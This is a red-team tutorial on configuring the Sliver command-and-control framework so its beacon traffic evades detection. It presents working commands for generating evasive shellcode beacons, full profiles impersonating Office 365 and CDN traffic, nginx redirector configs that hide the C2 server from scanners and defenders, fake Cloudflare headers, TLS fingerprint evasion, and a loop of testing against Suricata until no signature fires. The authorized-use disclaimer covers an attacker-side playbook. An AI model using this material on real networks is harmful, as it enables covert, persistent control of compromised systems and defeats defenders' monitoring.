sliver-http-profiles

07 — Sliver HTTP Profiles

BLUF: A default Sliver beacon over HTTPS is detectable by JA3/JARM fingerprinting, URI pattern matching, and NDR behavioral analysis within minutes of first check-in. HTTP C2 profiles shape the beacon's traffic so it looks like a known, legitimate application. This guide covers Sliver's http-c2.json profile format, URI design, header injection, redirector filtering, and TLS fingerprint management — everything needed to make your beacon's traffic indistinguishable from real corporate application traffic.

Note

Sections

  1. What HTTP C2 Profiles Control · 2. Profile File Location & Format · 3. URI Design · 4. Header Injection & User-Agent · 5. Server Response Shaping · 6. JA3/JARM Fingerprint Management · 7. Redirector Nginx Filtering Rules · 8. Traffic Validation Workflow · 9. Profile Templates · 10. Quick-Reference Cheat Sheet
Important

Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.

Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.

Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.

CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.

graph LR
    Beacon([Beacon]) -->|HTTPS request| Redirector[Redirector\nnginx + TLS]
    Redirector -->|Validates URI pattern| Filter{Legit beacon?}
    Filter -->|Yes| Backend[Backend Sliver\nTeam Server]
    Filter -->|No: scanner/blue team| Drop[Return 404/302]
    Backend --> Redirector
    Redirector -->|Shaped response headers| Beacon

    style Beacon fill:#ff6600
    style Drop fill:#cc0000,color:#ffffff
    style Backend fill:#006600,color:#ffffff

MITRE ATT&CK Mapping

Technique ID Name Tactic Where Used
T1001.003 Protocol Impersonation Command & Control Mimicking Office 365 / CDN traffic
T1001.001 Junk Data Command & Control Padding beacon payloads
T1071.001 Web Protocols Command & Control HTTP/S beaconing
T1573.002 Asymmetric Cryptography Command & Control TLS-encrypted C2 channel
T1090 Proxy Command & Control Redirector traffic routing
T1568 Dynamic Resolution Command & Control CDN fronting hides C2 IP

Section 1 — What HTTP C2 Profiles Control

Sliver's HTTP C2 profile is a JSON configuration file that controls:

Setting What It Changes Detection Surface Addressed
User-Agent string Browser/app identity in HTTP headers Proxy logs, NDR app classification
URI paths What URLs the beacon requests NDR URI signature matching
Request headers HTTP header set and order Deep packet inspection, JA3 fingerprinting
Server response headers What the C2 returns Blue team passive scanning of C2 server
Payload encoding How beacon data is embedded Proxy content inspection
Poll jitter HTTP polling timing Beacon interval regularity detection
Session cookie format How the session token looks Proxy/DPI session tracking

What it does NOT control:


Section 2 — Profile File Location & Format

# Default location (Linux C2 server):
~/.sliver/configs/http-c2.json

# List available C2 profiles in Sliver console:
sliver > http-c2 list

# Create a new profile from a JSON file:
sliver > http-c2 add --name office365 --path /tmp/office365-c2.json

# Set a beacon to use a specific C2 profile at generation time:
generate beacon --http C2_IP:443 --c2profile office365 ...

# Switch a saved implant profile to use a new C2 profile:
profiles new beacon lin-http-prod \
    --http c2.example.com/assets \
    --c2profile office365 \
    ...

JSON Schema (top-level structure)

{
    "implant_config": {
        // Controls what the beacon (implant) sends
        "user_agent":              "...",
        "chrome_base_version":     108,
        "max_files":               4,
        "min_files":               2,
        "max_paths":               4,
        "min_paths":               2,
        "stager_file_ext":         ".woff",
        "poll_file_extensions":    [".js", ".css", ".woff", ".ico"],
        "start_session_file_ext":  ".php",
        "session_file_ext":        ".html",
        "close_file_ext":          ".png",
        "max_out_length":          1048576,
        "min_out_length":          524288,
        "max_errors":              1000,
        "retry_wait":              5,
        "retry_jitter":            2,
        "poll_timeout":            360,
        "poll_wait":               300,
        "poll_jitter":             5
    },
    "server_config": {
        // Controls what the C2 server returns
        "random_version_headers":  true,
        "headers": [
            { "name": "Cache-Control", "value": "no-store, no-cache" },
            { "name": "Pragma",        "value": "no-cache" }
        ],
        "cookies": ["SESSID", "PHPSESSID", "_ga"]
    }
}

Section 3 — URI Design

URIs are the most fingerprinted element of C2 traffic. Default Sliver URIs (/rpc, /a, /b) appear in threat intel within hours of first use. Replace them with patterns that match the application you're impersonating.

URI Design Rules

RULE 1: Match the application's real URI patterns
  - Office 365 API: /api/v2.0/me/messages, /api/v2.0/subscriptions/poll
  - CDN traffic:    /static/js/chunk-vendors.abc123.js, /assets/logo.svg
  - SharePoint:     /sites/intranet/_api/web/lists/getbytitle, /shared%20documents/

RULE 2: File extension must match the cover story
  - Web app:        .js, .css, .json, .html
  - CDN delivery:   .woff, .woff2, .ttf, .ico, .svg
  - API endpoint:   no extension (RESTful: /api/resource/action)

RULE 3: HTTP verb must match the URI
  - GET for polling (fetching data)
  - POST for task responses (sending data back)
  - Do NOT POST to a URI that a CDN asset path would never accept POST to

RULE 4: Avoid known-bad URI patterns
  - /gate.php, /admin.php, /cmd, /beacon, /callback, /update
  - Anything ending in /a or /b (Sliver defaults)
  - Short random-looking paths: /xKj3/, /a4/b2/

RULE 5: Path depth should match the cover story
  - SharePoint: 4–5 segments deep
  - CDN: 2–3 segments (/static/js/vendors.hash.js)
  - API: 3–4 segments (/api/v2/resource/action)

Example URI Configurations

// CDN lookalike profile — mimics Cloudflare CDN asset delivery
"poll_file_extensions": [".js", ".css", ".woff2", ".svg", ".ico"],
"session_file_ext":     ".js",
"close_file_ext":       ".png",
"start_session_file_ext": ".php",

// URIs will look like:
// GET /static/js/chunk-vendors.e9b2a1c3.js
// GET /assets/fonts/inter-v12-latin.woff2
// POST /static/js/bundle.d4f9e2a1.js
// Office 365 API lookalike profile
"poll_file_extensions": [".json"],
"session_file_ext":     ".json",
"close_file_ext":       ".json",

// URIs will look like:
// GET /api/v2.0/me/messages?$select=subject,from&$top=10
// POST /api/v2.0/subscriptions/poll

Section 4 — Header Injection & User-Agent

User-Agent Fingerprinting

Proxy logs record User-Agent. An obvious curl or Go default UA is an immediate IOC. Match the UA to a browser that would logically make these requests.

// For a CDN/web app profile (Chrome 120):
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"

// For an Office 365 profile (Teams client):
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.6.00.33567 Chrome/108.0.5359.215 Electron/22.3.24 Safari/537.36"

// For a macOS profile (Safari):
"user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15"

OPSEC: Match the OS in the User-Agent to the OS of the target machine. Windows hosts sending Macintosh; Intel Mac OS X UAs is an immediate anomaly flag in proxy analytics.

Request Header Set

The correct UA is not enough — the full header set and order matters. NDRs fingerprint HTTP/1.1 request header order. Real Chrome sends headers in a specific sequence.

# Real Chrome 120 header order (capture with mitmproxy or Burp on a real browser):
Host: target.site.com
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

OPSEC: Sliver's Go HTTP client does not natively produce Sec-Fetch-* or sec-ch-ua headers. The redirector (nginx) can inject these on the server response side, but for request headers you need a custom transport or a proxy wrapper. In most deployments, matching the UA + Accept + Accept-Language is sufficient. For high-assurance engagements against mature NDR (Zeek + Suricata), use a redirector that re-writes inbound beacon requests to add the missing headers before forwarding.


Section 5 — Server Response Shaping

The C2 server's responses are as fingerprint-able as the requests. Defenders running passive scans against your C2 IP look at response headers.

// Server config in http-c2.json
"server_config": {
    "random_version_headers": true,    // Randomizes Server: header version string
    "headers": [
        { "name": "Content-Type",     "value": "application/javascript; charset=utf-8" },
        { "name": "Cache-Control",    "value": "public, max-age=31536000, immutable" },
        { "name": "X-Content-Type-Options", "value": "nosniff" },
        { "name": "Vary",             "value": "Accept-Encoding" },
        { "name": "CF-RAY",           "value": "RANDOMIZE_THIS" },
        { "name": "CF-Cache-Status",  "value": "HIT" }
    ],
    "cookies": ["__cf_bm", "cf_clearance", "_ga", "_gid"]
}

The CF-RAY trick: Add CF-RAY and CF-Cache-Status response headers. Passive scanners seeing these headers assume the server is behind Cloudflare — even if it's not. This discourages direct IP scanning because the real origin IP appears to be hidden.

OPSEC: Don't fake CF-RAY headers if you ARE behind Cloudflare — Cloudflare will add its own and the duplicate headers look inconsistent. Use this only when you want to discourage scanning of a non-CDN-fronted listener.


Section 6 — JA3/JARM Fingerprint Management

JA3 (Client TLS Fingerprint)

JA3 fingerprints the TLS ClientHello: cipher suites, extensions, elliptic curves, and their order. Sliver's Go TLS client produces a known JA3 hash that NDR tools have signatures for.

# Check your beacon's JA3 hash
# On attacker: run beacon in a VM with network capture
# Capture .pcap, then:
zeek -r beacon_traffic.pcap /opt/zeek/share/zeek/policy/protocols/ssl/ja3.zeek
cat ssl.log | zeek-cut ja3 ja3s

# Known Sliver JA3 (Go TLS default — flagged by major NDRs):
# Compare against Chrome 120 JA3: e4e74e1d66e8b15e8cb2c60ef1b4b24f

Mitigation: There is no native way to change Sliver's Go TLS JA3 short of patching the Go TLS library. The practical solutions:

  1. Put Cloudflare (or a CDN) in front — NDRs see the CDN's TLS fingerprint, not yours
  2. Use an nginx redirector that terminates TLS — beacon talks to nginx, nginx has its own JA3 (openssl-based, different from Go)
  3. Domain fronting — traffic terminates at a CDN edge node with a legitimate JA3

JARM (Server TLS Fingerprint)

JARM actively probes the server with synthetic ClientHello packets and fingerprints the ServerHello pattern. Default Sliver team server JARM is public and actively blocklisted.

# Install jarm tool
pip install jarm-py

# Test your C2 server JARM
python3 jarm.py your-c2-domain.com 443

# Default Sliver JARM (blocklisted):
# 3fd3fd0003fd3fd21c3fd3fd3fd3fd703dc1bf20eb9604decefea7c4a

# Cloudflare JARM (what you want defenders to see):
# 27d40d40d29d40d1dc42d43d00041d4689ee210389f4f6b4b5b1b93f92

# Behind Cloudflare: your beacon resolves to CF edge; CF answers JARM probes
# Your team server never receives the JARM probe packets
# Configure Cloudflare in front of Sliver:

# 1. Add domain to Cloudflare (free)
# 2. DNS: A record beacon.yourdomain.com => your C2 IP
# 3. Enable "Proxied" (orange cloud) — CRITICAL
# 4. SSL mode: "Full (strict)" — Cloudflare connects to your origin over HTTPS
# 5. On Sliver: HTTPS listener with Let's Encrypt cert for your domain

# Validate:
python3 jarm.py beacon.yourdomain.com 443
# Should match Cloudflare JARM, not Sliver JARM
curl -I https://beacon.yourdomain.com/nonexistent.js
# Should return Cloudflare error page (cf-ray header present)

Section 7 — Redirector Nginx Filtering Rules

A Sliver listener exposed directly to the internet will be scanned by Shodan, Censys, and blue team automated tools within hours. A redirector with strict URI allowlisting stops all non-beacon traffic cold.

# /etc/nginx/sites-available/c2-redirector
# Replace: C2_BACKEND_IP with your Sliver team server IP
# Replace: /static/js/ with your chosen URI prefix pattern

server {
    listen 443 ssl;
    server_name beacon.yourdomain.com;

    ssl_certificate     /etc/letsencrypt/live/beacon.yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/beacon.yourdomain.com/privkey.pem;

    # Strict TLS — no weak ciphers that attract scanners
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384;

    # === ALLOW: Known beacon URI patterns only ===
    # These must match the URI patterns in your http-c2.json profile
    location ~* ^/static/js/.*\.(js|css|woff2|svg)$ {
        proxy_pass          https://C2_BACKEND_IP:443;
        proxy_set_header    Host $host;
        proxy_set_header    X-Forwarded-For $remote_addr;
        proxy_ssl_verify    off;
    }

    location ~* ^/api/v2\.0/me/messages {
        proxy_pass          https://C2_BACKEND_IP:443;
        proxy_set_header    Host $host;
        proxy_ssl_verify    off;
    }

    # === DENY: Everything else — return a realistic 404 or redirect ===
    location / {
        # Return a realistic CDN/app 404 instead of a blank nginx page
        return 301 https://www.microsoft.com;
        # Alternative: serve a static placeholder page to look like a real app
    }

    # Block common scanner/recon paths explicitly (belt + suspenders)
    location ~* (\.git|\.env|phpinfo|wp-admin|\.htaccess|/admin) {
        return 404;
    }

    # Add Cloudflare-lookalike headers to responses
    add_header CF-Cache-Status "HIT" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Vary "Accept-Encoding" always;
}
# If the target network has a known egress IP range:
# Restrict to that range — blocks all non-target traffic from ever reaching backend

geo $allowed_source {
    default         0;
    10.0.0.0/8      1;      # Target internal network egress
    203.0.113.0/24  1;      # Target external egress
    192.168.0.0/16  1;      # Lab/test
}

server {
    ...
    location ~* ^/static/js/ {
        if ($allowed_source = 0) {
            return 404;    # Drop non-target sources silently
        }
        proxy_pass https://C2_BACKEND_IP:443;
    }
}

OPSEC: Source IP allowlisting is only viable when you know the target's egress range in advance (internal engagement, known VPN, etc.). For external assessments where egress IP is unknown, rely on URI pattern allowlisting instead.


Section 8 — Traffic Validation Workflow

Before an engagement, validate your profile produces realistic traffic.

# Step 1: Capture beacon traffic with mitmproxy
mitmproxy --mode transparent --ssl-insecure -p 8080
# Route beacon traffic through mitmproxy in lab

# Step 2: Inspect what the beacon actually sends
# Check:
#   [ ] User-Agent matches your configured string
#   [ ] Headers are present and in correct order
#   [ ] URI patterns match your http-c2.json profile
#   [ ] POST bodies are not obviously binary blobs (should be base64 or JSON-like)
#   [ ] Response headers from C2 match your server_config

# Step 3: Check JARM fingerprint
python3 jarm.py beacon.yourdomain.com 443
# Confirm: NOT the default Sliver/Go JARM

# Step 4: Simulate blue team recon
# Hit your redirector with common scanner paths:
curl -k https://beacon.yourdomain.com/
curl -k https://beacon.yourdomain.com/.git/config
curl -k https://beacon.yourdomain.com/admin
# Expected: 404 or redirect (NOT a Sliver error page)

# Step 5: Verify beacon still works after redirector filtering
# Use the beacon in your Sliver console — confirm callbacks succeed
# Then verify the beacon URI matches the nginx allowlist pattern

# Step 6: Run through Suricata locally
suricata -r beacon_traffic.pcap -l /tmp/suricata_logs/
cat /tmp/suricata_logs/fast.log
# Look for: ET C2, ET TROJAN, ET INFO signatures matching your traffic
# Iterate on profile until no signatures fire

Section 9 — Profile Templates

Template A: CDN / Static Asset Delivery

{
    "implant_config": {
        "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "chrome_base_version": 120,
        "max_files": 3, "min_files": 1,
        "max_paths": 4, "min_paths": 2,
        "stager_file_ext": ".woff2",
        "poll_file_extensions": [".js", ".css", ".woff2", ".svg"],
        "start_session_file_ext": ".php",
        "session_file_ext": ".js",
        "close_file_ext": ".png",
        "max_out_length": 524288, "min_out_length": 262144,
        "poll_timeout": 360, "poll_wait": 300, "poll_jitter": 5
    },
    "server_config": {
        "random_version_headers": true,
        "headers": [
            { "name": "Content-Type",             "value": "application/javascript; charset=utf-8" },
            { "name": "Cache-Control",             "value": "public, max-age=31536000, immutable" },
            { "name": "Vary",                      "value": "Accept-Encoding" },
            { "name": "X-Content-Type-Options",    "value": "nosniff" }
        ],
        "cookies": ["__cf_bm", "cf_clearance", "_ga"]
    }
}

Template B: Microsoft Graph API / Office 365

{
    "implant_config": {
        "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "chrome_base_version": 120,
        "max_files": 2, "min_files": 1,
        "max_paths": 5, "min_paths": 3,
        "poll_file_extensions": [".json"],
        "start_session_file_ext": ".json",
        "session_file_ext": ".json",
        "close_file_ext": ".json",
        "poll_timeout": 360, "poll_wait": 300, "poll_jitter": 10
    },
    "server_config": {
        "random_version_headers": true,
        "headers": [
            { "name": "Content-Type",     "value": "application/json; odata.metadata=minimal" },
            { "name": "Cache-Control",    "value": "no-cache" },
            { "name": "x-ms-request-id", "value": "00000000-0000-0000-0000-000000000000" },
            { "name": "client-request-id","value": "00000000-0000-0000-0000-000000000000" }
        ],
        "cookies": ["ESTSAUTH", "ESTSAUTHPERSISTENT", "SignInStateCookie"]
    }
}

Section 10 — Quick-Reference Cheat Sheet

# Create/manage C2 profiles in Sliver
sliver > http-c2 list
sliver > http-c2 add --name cdn-profile --path /tmp/cdn-c2.json
sliver > http-c2 rm cdn-profile

# Use profile at beacon generation
generate beacon \
    --http c2.yourdomain.com \
    --c2profile cdn-profile \
    --os windows --arch amd64 --format shellcode \
    --seconds 3600 --jitter 600 --evasion

# Profile file location
~/.sliver/configs/http-c2.json    # Default (overwrite or create named files)

# JARM check
pip install jarm-py
python3 jarm.py c2.yourdomain.com 443

# Nginx allowlist test (confirm non-beacon paths are blocked)
for path in / /admin /.git/config /beacon /cmd; do
    echo -n "$path: "
    curl -sk -o /dev/null -w "%{http_code}" https://c2.yourdomain.com$path
    echo
done
# Expected: all return 301/302/404, NOT 200

# Suricata local scan
suricata -r /tmp/beacon_capture.pcap -l /tmp/logs/ --runmode single
grep -i "c2\|trojan\|malware" /tmp/logs/fast.log

Profile + redirector pre-engagement checklist:

[ ] URI patterns in http-c2.json match nginx allowlist regex
[ ] User-Agent matches expected browser for target OS
[ ] JARM fingerprint is CDN/legitimate (not Go TLS default)
[ ] Beacon URI tested through mitmproxy — looks like cover story
[ ] Redirector returns 404/redirect for all non-beacon paths
[ ] Direct access to backend C2 IP blocked (only redirector IP allowed on 443)
[ ] Domain age >= 14 days, URL categorization submitted
[ ] TLS cert from real CA (Let's Encrypt), not self-signed

Part of the Red Teaming 101 series. Parent: P7 — C2 Infrastructure · See also: Full Infrastructure Walkthrough · Evasive C2 Beacon Engineering